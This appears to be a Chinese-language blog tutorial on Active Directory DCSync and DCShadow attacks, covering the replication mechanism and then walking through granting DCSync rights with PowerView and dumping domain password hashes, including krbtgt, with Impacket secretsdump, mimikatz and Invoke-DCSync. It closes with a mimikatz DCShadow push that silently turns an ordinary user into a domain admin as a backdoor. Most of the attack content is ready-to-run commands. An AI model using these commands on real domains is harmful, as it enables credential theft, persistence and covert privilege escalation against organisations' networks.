DCSync

DCSync

原理

域内的数据都会更新的, 不同的域控之间相隔15分钟会同步一次数据

默认不允许从只读域控中获取数据, 因为只读域控是不能够复制同步数据给其他域控的

DCSync利用目录复制服务

目录复制服务是用来复制和管理数据的RPC协议

DCSync利用该协议的GetNCChanges接口向域控发起同步数据请求, 来获得域控的数据

实现

首先我们要知道的是, 不是所有的用户都有DCSync的权限的

默认这些组的用户有DCSync的权限

1
2
3
4
5
Administrators

Domain Admins

Enterprise Admins

赋予权限

当然这个权限是可以被给予的

修改ACE即可

1
2
3
4
5
DS-Replication-Get-Changes
可以复制不包括私密域数据的其他数据

DS-Replication-Get-Changes-All
可以复制域中任意数据

image-20230323155342305

输入要给予权限的用户

image-20230323155533805

最后赋予权限在下面的勾选”复制目录更改”和”复制目录更改所以项”

还有一种直接了当的方法给予权限

直接powershell跑脚本 (empire的powerview.ps1脚本)

1
2
3
Import-Module .\powerview.ps1;

Add-DomainObjectAcl -TargetIdentity 'DC=sayms,DC=local' -PrincipalIdentity test -Rights DCSync -Verbose

查找权限

可以通过工具直接了当的找到用于DCSync权限的用户

使用AdFind

1
AdFind.exe -s subtree -b "DC=sayms,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;; "Replicating Directory Changes";; -recmute

使用Execute-ACLight2.bat, 直接运行就行

会生成结果文件

image-20230323211801807

攻击

因为原理就是, 模仿域控去请求其他域控统一数据

直接运行脚本工具就行, 目的就是获取域用户的hash值

Impacket

1
2
3
4
5
获取所有用户
python3 secretsdump.py sayms/tom:admin@12345@192.168.8.4 -just-dc

获取具体用户
python3 secretsdump.py sayms/tom:admin@12345@192.168.8.4 -just-dc-user krbtgt

mimikatz

1
2
3
4
5
获取所有用户
lsadump::dcsync /domain:sayms.local /all /csv

获取具体用户
lsadump::dcsync /domain:sayms.local /user:krbtgt

powershell

1
2
3
4
5
6
7
Import-Module .\Invoke-DCSync.ps1;

导出所有
Invoke-DCSync -DumpForest | ft -wrap -autosize

导出具体
Invoke-DCSync -DumpForest -Users @("krbtgt") | ft -wrap -autosize

进行权限维持

DCSync

可以想到, 如果我们拥有域管权限, 就可以任意指定DCSync权限

为用户添加DCSync权限

1
2
3
Import-Module .\powerview.ps1;

Add-DomainObjectAcl -TargetIdentity 'DC=sayms,DC=local' -PrincipalIdentity test -Rights DCSync -Verbose

清除DCSync权限

1
2
3
Import-Module .\powerview.ps1;

Remove-DomainObjectAc1 -TargetIdentity 'DC=sayms,DC=local' -PrincipalIdentity test -Rights DCSync -Verbose

DCShadow

通过上面我们可以知道DCSync是通过模拟域控, 向其他域控请求同步数据, 从而获取信息

DCShadow就比较骚, 模拟域控, 通过域控直接的数据同步机制, 将自己预先设定的对象注入其他的域控中, 以此来创建后门

将域普通用户提升为域管

可以看到aim隶属于普通域用户组

image-20230412214112209

通过修改其primaryGroupID值, 使其称为域管

首先在任意一台域主机使用mimikatz, 以system权限运行

因为想要伪造域控, 是需要高权限的

1
lsadump::dcshadow /object:CN=Aim,CN=Users,DC=sayms,DC=local /attribute:primaryGroupID /value:512

image-20230412215353168

在用域管权限打开一个mimikatz窗口

1
lsadump::dcshadow /push

image-20230412215654137

然后就可以看到aim加入了域管组

image-20230412220711261

查看评论